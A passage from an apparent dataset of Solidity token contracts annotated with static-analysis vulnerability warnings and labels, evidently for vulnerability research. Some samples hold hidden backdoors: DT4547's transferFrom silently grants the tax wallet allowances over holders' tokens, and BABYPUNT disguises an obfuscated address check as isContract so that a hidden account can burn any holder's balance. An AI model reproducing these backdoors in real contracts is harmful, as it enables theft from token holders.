8d9d6fa): DT4547.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 8d9d6fa: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8d2a04f): DT4547.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 8d2a04f: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0601e04): DT4547.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 0601e04: Consider ordering multiplication before division.\ncontract DT4547 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n address payable private _taxWallet =\n payable(0x75371C37495d7E87E62089Fb7d4C6AFd06d1E740);\n\n\t// WARNING Optimization Issue (constable-states | ID: 373b1f4): DT4547._initialBuyTax should be constant \n\t// Recommendation for 373b1f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d0b68b): DT4547._initialSellTax should be constant \n\t// Recommendation for 7d0b68b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: a135baf): DT4547._finalBuyTax should be constant \n\t// Recommendation for a135baf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 679058d): DT4547._finalSellTax should be constant \n\t// Recommendation for 679058d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f21ae9): DT4547._reduceBuyTaxAt should be constant \n\t// Recommendation for 1f21ae9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45916f5): DT4547._reduceSellTaxAt should be constant \n\t// Recommendation for 45916f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c643e2): DT4547._preventSwapBefore should be constant \n\t// Recommendation for 0c643e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 12;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"4547\";\n\n string private constant _symbol = unicode\"4547\";\n\n\t// divide-before-multiply | ID: 8d2a04f\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 8d9d6fa\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6633434): DT4547._taxSwapThreshold should be constant \n\t// Recommendation for 6633434: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 7e125ca\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: a0de192): DT4547._maxTaxSwap should be constant \n\t// Recommendation for a0de192: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 0601e04\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b46221b): DT4547.deployer should be immutable \n\t// Recommendation for b46221b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private deployer;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n deployer = _msgSender();\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function createPair() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 515e336): DT4547.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 515e336: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e676cb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e676cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 75d8292): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 75d8292: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1e676cb\n\t\t// reentrancy-benign | ID: 75d8292\n _transfer(sender, recipient, amount);\n if (_taxWallet == _msgSender() && amount > 0)\n\t\t\t// reentrancy-events | ID: 1e676cb\n\t\t\t// reentrancy-benign | ID: 75d8292\n _approve(sender, _taxWallet, amount);\n\n\t\t// reentrancy-events | ID: 1e676cb\n\t\t// reentrancy-benign | ID: 75d8292\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 538b702): DT4547._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 538b702: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 75d8292\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1e676cb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 482d749): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 482d749: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: d8b0c77): DT4547._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for d8b0c77: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e595bcb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e595bcb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: d8b0c77\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 482d749\n\t\t\t\t\t// reentrancy-eth | ID: e595bcb\n sendEth(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _maxTaxSwap &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 482d749\n\t\t\t\t// reentrancy-eth | ID: e595bcb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 482d749\n\t\t\t\t\t// reentrancy-eth | ID: e595bcb\n sendEth(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e595bcb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 482d749\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e595bcb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e595bcb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 482d749\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) return;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1e676cb\n\t\t// reentrancy-events | ID: 482d749\n\t\t// reentrancy-benign | ID: 75d8292\n\t\t// reentrancy-eth | ID: e595bcb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n _transferTax = 0;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 303b22c): DT4547.sendEth(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 303b22c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendEth(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1e676cb\n\t\t// reentrancy-events | ID: 482d749\n\t\t// reentrancy-eth | ID: e595bcb\n\t\t// arbitrary-send-eth | ID: 303b22c\n _taxWallet.transfer(amount);\n }\n\n function withrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 66e8963): DT4547.getETH(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for 66e8963: Check that the address is not zero.\n function getETH(address payable _wallet) external {\n require(msg.sender == deployer);\n\t\t// missing-zero-check | ID: 66e8963\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ca4304): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ca4304: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5ac1188): DT4547.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5ac1188: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2752d80): DT4547.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2752d80: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a0cd480): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a0cd480: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 4ca4304\n\t\t// unused-return | ID: 2752d80\n\t\t// reentrancy-eth | ID: a0cd480\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4ca4304\n\t\t// unused-return | ID: 5ac1188\n\t\t// reentrancy-eth | ID: a0cd480\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4ca4304\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a0cd480\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10218.sol",
"size_bytes": 21840,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 48559712676659575563997538478757995171011681 *\n 10 ** 4 +\n 281474976718524;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYPUNT\", unicode\"BABYPUNT\", 9, 100000000) {}\n}\n",
"file_name": "solidity_code_10219.sol",
"size_bytes": 7155,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract sadge is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b50c2b6): sadge._taxWallet should be immutable \n\t// Recommendation for b50c2b6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f04da5): sadge._initialBuyTax should be constant \n\t// Recommendation for 6f04da5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63e516c): sadge._initialSellTax should be constant \n\t// Recommendation for 63e516c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff858fb): sadge._reduceBuyTaxAt should be constant \n\t// Recommendation for ff858fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: e317b72): sadge._reduceSellTaxAt should be constant \n\t// Recommendation for e317b72: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: 608dffa): sadge._preventSwapBefore should be constant \n\t// Recommendation for 608dffa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sadge\";\n\n string private constant _symbol = unicode\"SADGE\";\n\n uint256 public _maxTxAmount = 10000000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 941823d): sadge._taxSwapThreshold should be constant \n\t// Recommendation for 941823d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 475de30): sadge._maxTaxSwap should be constant \n\t// Recommendation for 475de30: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f668f8f): sadge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f668f8f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b550ec9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b550ec9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9100b72): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9100b72: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b550ec9\n\t\t// reentrancy-benign | ID: 9100b72\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b550ec9\n\t\t// reentrancy-benign | ID: 9100b72\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 184adac): sadge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 184adac: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9100b72\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b550ec9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: daae42d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for daae42d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d664d8a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d664d8a: Apply the check-effects-interactions pattern (see 